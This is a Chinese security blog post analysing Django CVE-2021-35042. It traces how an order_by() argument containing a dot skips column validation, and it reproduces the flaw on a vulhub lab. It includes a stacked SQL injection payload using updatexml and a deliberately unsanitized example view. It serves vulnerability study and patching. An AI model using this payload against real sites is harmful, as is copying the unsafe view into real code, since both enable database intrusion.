Django order_by SQL注入漏洞分析(CVE-2021-35042)

一颗小胡椒2022-07-26 14:58:44

漏洞介绍

官方给出的解释如下:

[Django]:https://www.djangoproject.com/weblog/2021/jul/01/security-releases/

CVE-2021-35042: Potential SQL injection via unsanitized QuerySet.order_by() input

Unsanitized user input passed to QuerySet.order_by() could bypass intended column reference validation in path marked for deprecation resulting in a potential SQL injection even if a deprecation warning is emitted.

As a mitigation the strict column reference validation was restored for the duration of the deprecation period. This regression appeared in 3.1 as a side effect of fixing # 31426.

The issue is not present in the main branch as the deprecated path has been removed.

该漏洞是由于QuerySet.order_by()查询时 ,对用户传入的参数过滤不严格,可以使攻击者在不需要授权的情况下,构造恶意的参数执行SQL注入攻击。

漏洞评级:高危

影响版本:Django 3.2、Django 3.1

安全版本:Django >= 3.2.5、Django >= 3.1.13

漏洞分析

2.1 order_by()

order_by是QuerySet下的一种查询方法,作用是将查询的结果根据某个字段进行排序,在字段前面加一个符号,结果会倒序输出。但是如果对列名的查询过滤不严格就会导致SQL注入。

2.2 漏洞原理

Django是MTV架构,视图views.py的代码。

# views.pydef vul(request):# 获取orderquery = request.GET.get('order', default='id')q = Collection.objects.order_by(query)return HttpResponse(q.values())

模型models.py代码。

# models.pyclass Collection(models.Model):name = models.CharField(max_length=128)

首先获取用户传入的order,没有传入参数默认为id,获取到参数之后 Collection.objects.order_by处理,跟一下order_by。

def order_by(self, *field_names):"""Return a new QuerySet instance with the ordering changed."""assert not self.query.is_sliced, \"Cannot reorder a query once a slice has been taken."obj = self._chain()obj.query.clear_ordering(force_empty=False)obj.query.add_ordering(*field_names)return obj

参数传入order_by后赋值给obj,经过clear_ordering处理。

def clear_ordering(self, force_empty):"""Remove any ordering settings. If 'force_empty' is True, there will beno ordering in the resulting query (not even the model's default)."""self.order_by = ()self.extra_order_by = ()if force_empty:self.default_ordering = False

clear_ordering的作用是清除所有通过order\_by函数调用的方法。然后再经过add_ordering处理。

def add_ordering(self, *ordering):"""Add items from the 'ordering' sequence to the query's "order by"clause. These items are either field names (not column names) --possibly with a direction prefix ('-' or '?') -- or OrderByexpressions.
If 'ordering' is empty, clear all ordering from the query."""errors = []for item in ordering:if isinstance(item, str):if '.' in item:warnings.warn('Passing column raw column aliases to order_by() is ''deprecated. Wrap %r in a RawSQL expression before ''passing it to order_by().' % item,category=RemovedInDjango40Warning,stacklevel=3,)continueif item == '?':continueif item.startswith('-'):item = item[1:]if item in self.annotations:continueif self.extra and item in self.extra:continue# names_to_path() validates the lookup. A descriptive# FieldError will be raise if it's not.self.names_to_path(item.split(LOOKUP_SEP), self.model._meta)elif not hasattr(item, 'resolve_expression'):errors.append(item)if getattr(item, 'contains_aggregate', False):raise FieldError('Using an aggregate in order_by() without also including ''it in annotate() is not allowed: %s' % item)if errors:raise FieldError('Invalid order_by arguments: %s' % errors)if ordering:self.order_by += orderingelse:self.default_ordering = False

传入的参数到达add_ordering之后进入for循环,但是如果参数中含有.则会直接跳出循环,因为只有一个参数,而且也是单次循环所以最终不会进入names_to_path方法,而是执行self.order_by += ordering(ordering就是传入的参数),所以add_ordering的作用就是增加self.order_by参数。

当传入的参数是默认的id时,SQL语句为。

SELECT "vuln_collection"."id", "vuln_collection"."name" FROM "vuln_collection" ORDER BY (id) ASC。

当参数为id.时:

SELECT "vuln_collection"."id", "vuln_collection"."name" FROM "vuln_collection" ORDER BY (id.) ASC。

当参数为

vuln_collection.id);select updatexml(1,concat(0x7e,(select @@version)),1);#时。

SELECT "vuln_collection"."id", "vuln_collection"."name" FROM "vuln_collection" ORDER BY (vuln_collection.id);select updatexml(1,concat(0x7e,(select @@version)),1);# ASC

注入原理就是使用)进行闭合再利用;进行堆叠注入。

2.3 漏洞成因

在add_ordering中如果正常进入for循环没有跳出循环,会经过五次if判断

1.if '.' in item:,判断参数中是否带有.,有则会跳出循环。

2.if item == '?':,判断参数是否是?,如果是则跳出循环。

3.if item.startswith('-'):,判断参数是否以-开头,如果是则去除开头的-。

4.if item in self.annotations:,判断参数是否含有注释标识符,是则跳出循环。

5.if self.extra and item in self.extra:,判断参数是否有额外的参数信息,是则跳出循环。

经过五次if判断之后表示参数无异常,然后进入names_to_path获取数据,利用model模型判断当前的参数是否是有效的列名,如果不是有效的列名则会报错。

def names_to_path(self, names, opts, allow_many=True, fail_on_missing=False):"""Walk the list of names and turns them into PathInfo tuples. A singlename in 'names' can generate multiple PathInfos (m2m, for example).
'names' is the path of names to travel, 'opts' is the model Options westart the name resolving from, 'allow_many' is as for setup_joins().If fail_on_missing is set to True, then a name that can't be resolvedwill generate a FieldError.
Return a list of PathInfo tuples. In addition return the final field(the last used join field) and target (which is a field guaranteed tocontain the same value as the final field). Finally, return those namesthat weren't found (which are likely transforms and the final lookup)."""path, names_with_path = [], []for pos, name in enumerate(names):cur_names_with_path = (name, [])if name == 'pk':name = opts.pk.name
field = Nonefiltered_relation = Nonetry:field = opts.get_field(name)except FieldDoesNotExist:if name in self.annotation_select:field = self.annotation_select[name].output_fieldelif name in self._filtered_relations and pos == 0:filtered_relation = self._filtered_relations[name]if LOOKUP_SEP in filtered_relation.relation_name:parts = filtered_relation.relation_name.split(LOOKUP_SEP)filtered_relation_path, field, _, _ = self.names_to_path(parts, opts, allow_many, fail_on_missing,)path.extend(filtered_relation_path[:-1])else:field = opts.get_field(filtered_relation.relation_name)if field is not None:# Fields that contain one-to-many relations with a generic# model (like a GenericForeignKey) cannot generate reverse# relations and therefore cannot be used for reverse querying.if field.is_relation and not field.related_model:raise FieldError("Field %r does not generate an automatic reverse ""relation and therefore cannot be used for reverse ""querying. If it is a GenericForeignKey, consider ""adding a GenericRelation." % name)try:model = field.model._meta.concrete_modelexcept AttributeError:# QuerySet.annotate() may introduce fields that aren't# attached to a model.model = Noneelse:# We didn't find the current field, so move position back# one step.pos -= 1if pos == -1 or fail_on_missing:available = sorted([*get_field_names_from_opts(opts),*self.annotation_select,*self._filtered_relations,])raise FieldError("Cannot resolve keyword '%s' into field. ""Choices are: %s" % (name, ", ".join(available)))break# Check if we need any joins for concrete inheritance cases (the# field lives in parent, but we are currently in one of its# children)if model is not opts.model:path_to_parent = opts.get_path_to_parent(model)if path_to_parent:path.extend(path_to_parent)cur_names_with_path[1].extend(path_to_parent)opts = path_to_parent[-1].to_optsif hasattr(field, 'get_path_info'):pathinfos = field.get_path_info(filtered_relation)if not allow_many:for inner_pos, p in enumerate(pathinfos):if p.m2m:cur_names_with_path[1].extend(pathinfos[0:inner_pos + 1])names_with_path.append(cur_names_with_path)raise MultiJoin(pos + 1, names_with_path)last = pathinfos[-1]path.extend(pathinfos)final_field = last.join_fieldopts = last.to_optstargets = last.target_fieldscur_names_with_path[1].extend(pathinfos)names_with_path.append(cur_names_with_path)else:# Local non-relational field.nfinal_field = fieldtargets = (field,)if fail_on_missing and pos + 1 != len(names):raise FieldError("Cannot resolve keyword %r into field. Join on '%s'"" not permitted." % (names[pos + 1], name))breakreturn path, final_field, targets, names[pos + 1:]

现在看来漏洞出现的原因就很好理解了,如果我们传入的参数中含有.那么就无法进入names_to_path完成对列名的验证,攻击者就可以利用这个缺陷构造含有.的参数利用order by进行SQL注入。

漏洞复现

这里使用的环境是vulhub靶场。

https://vulhub.org/# /environments/django/CVE-2021-35042/

传入参数:id

传入参数:-id

传入参数:id.

出现了报错信息。

传入参数:

vuln_collection.id);select updatexml(1,concat(0x7e,(select @@version)),1);#

成功查询出数据库版本信息,后续按正常操作进行注入即可。

漏洞修复

官方给出的修改方案:

https://github.com/django/django/commit/0bd57a879a0d54920bb9038a732645fb917040e9

django/db/models/sql/constants.py

django/db/models/sql/query.py

在django/db/models/sql/query.py中的add_ordering对.的判断添加了正则,匹配规则更加严格。

参考链接

https://xz.aliyun.com/t/9834# toc-0

https://www.bugxss.com/vulnerability-report/3095.html

https://www.cnblogs.com/R3col/p/16094132.html

https://github.com/django/django/commit/0bd57a879a0d54920bb9038a732645fb917040e9

https://code.djangoproject.com/ticket/31426

sql注入django
本作品采用《CC 协议》,转载必须注明作者和本文链接
(翻译版)Numpy反序列化命令执行浅析代码审计Python安全编码和代码审计Python代码审计连载之一:CSRF?p=738Python代码审计连载之三:Server Side Request?p=744Python代码审计连载之四:Command Execution?p=747Dangerous Python Functions, Part 1Dangerous Python Functions, Part 2Dangerous Python Functions, Part 3记一下PythonWeb代码审计应该注意的地方廖新喜大佬的python代码审计工具来自openstack安全团队的python代码静态审计工具来自openstack安全团队的python代码静态审计工具2代码审计工具pytxfkxfk的python自动化代码审计?
0x01、漏洞状态漏洞细节漏洞POC漏洞EXP在野利用否未知未知未知0x02、漏洞描述DjangoDjango基金会的一套基于Python语言的开源Web应用框架。2022年4月11日,Django发布安全公告,修复了两个存在于Django中的高危漏洞。
漏洞评级:高危影响版本:Django 3.2、Django 3.1安全版本:Django >= 3.2.5、Django >= 3.1.13漏洞分析2.1 order_by()order_by是QuerySet下的一种查询方法,作用是将查询的结果根据某个字段进行排序,在字段前面加一个符号,结果会倒序输出。
Django 数据库函数 Trunc 和 Extract 主要用于进行日期操作,如果将未过滤的数据传递给 kind 或 lookup_name 时,将会产生 SQL 注入漏洞 CVE-2022-34265。
如果流量都没有经过WAF,WAF当然无法拦截攻击请求。当前多数云WAF架构,例如百度云加速、阿里云盾等,通过更改DNS解析,把流量引入WAF集群,流量经过检测后转发请求到源站。如图,dict.com接入接入WAF后,dict.com的DNS解析结果指向WAF集群,用户的请求将发送给WAF集群,WAF集群经过检测认为非攻击请求再转发给源站。
BypassD盾之SQL注入绕过总结
今天在这篇文章中,我将分享一篇关于使用授权Header(Authorization Headers token)的 SQL 注入的文章。
另类字符集编码绕过绕过原理HTTP协议兼容性:HTTP Charset的多样性Content-Type头中使用charset定义字符集的应用场景不只有在responses中,request中同样可以使用。
为解决实验室,编辑会话cookie中的序列化对象以利用此漏洞并获得管理权限。然后,删除 Carlos 的帐户。您可以使用以下凭据登录自己的帐户:wiener:peter解决方案此实验与权限提升有关,我们使用bp抓包,重点关注cookie1.登录,查看我的账户页面,bp发现cookie内容是序列化的。在Repeater中替换cookie,已经有了admin权限。
一颗小胡椒
暂无描述